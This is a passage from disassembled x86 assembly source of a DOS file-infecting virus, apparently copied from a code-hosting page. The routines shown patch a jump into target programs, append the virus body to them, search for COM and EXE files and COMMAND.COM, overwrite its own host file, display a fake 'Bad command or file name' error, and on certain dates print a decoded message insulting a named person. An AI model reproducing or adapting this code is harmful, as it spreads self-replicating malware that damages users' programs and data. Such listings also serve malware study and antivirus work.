repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||||
jnz loc_31 ; Jump if not zero
|
||||
stc ; Set carry flag
|
||||
loc_30:
|
||||
pop cx
|
||||
retn
|
||||
loc_31:
|
||||
clc ; Clear carry flag
|
||||
pop cx
|
||||
retn
|
||||
sub_25 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_26 proc near
|
||||
mov di,offset ds:[4ECh] ; (8344:04EC=0E8h)
|
||||
add di,bp
|
||||
mov ax,[bp+558h]
|
||||
sub ax,3
|
||||
stosw ; Store ax to es:[di]
|
||||
mov ax,4200h
|
||||
mov bx,[bp+53Ch]
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, cx,dx=offset
|
||||
mov ah,40h ; '@'
|
||||
mov cx,9
|
||||
mov dx,offset data_9 ; (8344:04EB=0)
|
||||
add dx,bp
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file cx=bytes, to ds:dx
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, cx,dx=offset
|
||||
mov ah,40h ; '@'
|
||||
mov cx,435h
|
||||
mov dx,offset ds:[109h] ; (8344:0109=90h)
|
||||
add dx,bp
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file cx=bytes, to ds:dx
|
||||
retn
|
||||
sub_26 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_27 proc near
|
||||
mov ah,2Ah ; '*'
|
||||
int 21h ; DOS Services ah=function 2Ah
|
||||
; get date, cx=year, dx=mon/day
|
||||
test dl,3
|
||||
jnz loc_ret_33 ; Jump if not zero
|
||||
mov ah,2Ch ; ','
|
||||
int 21h ; DOS Services ah=function 2Ch
|
||||
; get time, cx=hrs/min, dh=sec
|
||||
test dh,3
|
||||
jnz loc_ret_33 ; Jump if not zero
|
||||
mov cx,47h
|
||||
mov si,data_1e ; (009D:0446=10h)
|
||||
add si,bp
|
||||
mov di,si
|
||||
|
||||
locloop_32:
|
||||
lodsb ; String [si] to al
|
||||
sub al,80h
|
||||
stosb ; Store al to es:[di]
|
||||
loop locloop_32 ; Loop if cx > 0
|
||||
|
||||
mov ah,9
|
||||
mov dx,data_1e ; (009D:0446=10h)
|
||||
add dx,bp
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
|
||||
loc_ret_33:
|
||||
data_8 db 'Craig Murphy calls himself SUPER'
|
||||
db 'HACKER but he''s just a talentle'
|
||||
db 'ss Jerk!', 0Dh, 0Ah, '$'
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_28:
|
||||
mov al,0FFh
|
||||
cmp al,[bp+4EAh]
|
||||
je loc_34 ; Jump if equal
|
||||
retn
|
||||
loc_34:
|
||||
push word ptr ds:data_2e ; (8344:002C=0)
|
||||
pop es
|
||||
xor di,di ; Zero register
|
||||
mov al,1
|
||||
loc_35:
|
||||
scasb ; Scan es:[di] for al
|
||||
jnz loc_35 ; Jump if not zero
|
||||
inc di
|
||||
push es
|
||||
pop ds
|
||||
mov dx,di
|
||||
mov ax,4300h
|
||||
int 21h ; DOS Services ah=function 43h
|
||||
; get/set file attrb, nam@ds:dx
|
||||
jc loc_36 ; Jump if carry Set
|
||||
mov es,cx
|
||||
mov ax,4301h
|
||||
xor cx,cx ; Zero register
|
||||
int 21h ; DOS Services ah=function 43h
|
||||
; get/set file attrb, nam@ds:dx
|
||||
jc loc_36 ; Jump if carry Set
|
||||
mov ah,3Ch ; '<'
|
||||
int 21h ; DOS Services ah=function 3Ch
|
||||
; create/truncate file @ ds:dx
|
||||
push ds
|
||||
push dx
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset ds:[100h] ; (8344:0100=0E8h)
|
||||
mov bx,ax
|
||||
mov ah,40h ; '@'
|
||||
mov cx,9
|
||||
add cx,bp
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file cx=bytes, to ds:dx
|
||||
pop dx
|
||||
pop ds
|
||||
mov cx,es
|
||||
mov ax,4301h
|
||||
int 21h ; DOS Services ah=function 43h
|
||||
; get/set file attrb, nam@ds:dx
|
||||
loc_36:
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,9
|
||||
mov dx,offset data_15+25h ; (8344:0521=0)
|
||||
add dx,bp
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
mov ah,4Ch ; 'L'
|
||||
int 21h ; DOS Services ah=function 4Ch
|
||||
; terminate with al=return code
|
||||
data_9 db 0
|
||||
loc_37:
|
||||
call sub_29 ; (04F6)
|
||||
dec bp
|
||||
jnz $+74h ; Jump if not zero
|
||||
jo $+6Ah ; Jump if overflow=1
|
||||
jns loc_37 ; Jump if not sign
|
||||
sub_27 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_29 proc near
|
||||
popf ; Pop flags
|
||||
add [bx+si],al
|
||||
add bl,[si+0]
|
||||
data_15 db '*.*', 0
|
||||
db '\^^^^^^^^', 0
|
||||
db 'COMMAND.COM', 0
|
||||
db '*.COM', 0
|
||||
db '*.EXE', 0
|
||||
db 'Bad command or file name', 0Dh, 0Ah
|
||||
db '$'
|
||||
db 6
|
||||
data_21 db 0
|
||||
sub_29 endp
|
||||
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
|
||||
Reference in New Issue
Block a user